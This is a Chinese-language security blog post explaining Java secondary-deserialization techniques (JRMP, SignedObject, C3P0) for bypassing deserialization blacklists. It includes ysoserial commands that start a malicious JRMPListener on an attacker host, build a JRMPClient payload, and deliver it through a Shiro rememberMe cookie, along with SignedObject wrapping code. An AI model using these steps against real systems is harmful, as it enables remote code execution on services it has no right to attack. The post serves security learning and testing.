常用的二次反序列化攻击

一些链被黑名单ban了,可以用二次反序列化绕过,比如JRMP

JRMP

JDK<8U241

JRMP打RMI,在ysoserial/exploit中,JRMPClient能利用非RMI服务(如Shiro)开RMI服务,然后用exploit/JRMPLister打RMI服务

特征:

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteInterface remoteImpl = (RemoteInterface) registry.lookup("remoteImpl");//lookup可被控制

Usage:

攻击者先在 vps上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:

1
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

1
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

1
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行。

SignedObject

SignedObject.getObject能反序列化this.content:

image-20241014214004303

content能在构造函数赋值

image-20241014214038344

适用于嵌套解析的resolveClass黑名单,比如Fastjson>=1.2.49

JSONObject重写的resolveClass,加入checkAutoType验证黑名单

image-20241014222919494

也适用于不能触发readObject而不能初始化TemplatesImpl _tfactory字段的场景,比如自定义反序列化流程的Hessian、Kryo等

code:

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

然后调用signedObject.getObject

C3P0

漏洞入口位于com.mchange.v2.ser.C3P0ImplUtils.parseUserridesAsString

image-20241016172934901

parseUserridesAsString对传入的参数userOverridesAsString字符串处理如下:

  1. HASM_HEADER长度开始,截取到userOverridesAsString的末尾

HASM_HEADER为HexAsciiSerializedMap

  1. 调用ByteUtils.fromHexAscii把截取的十六进制字符串转为二进制
  2. 调用SerializableUtils.fromByteArray反序列化字节码

image-20241016174046772

image-20241016174053242

向parseUserOverridesAsString传参HexAsciiSerializedMap+恶意十六进制字节码就能二次反序列化

上一篇:
tabby & codeQL分析含依赖JAR包
下一篇:
DispatcherServlet.doDispatch请求分发详解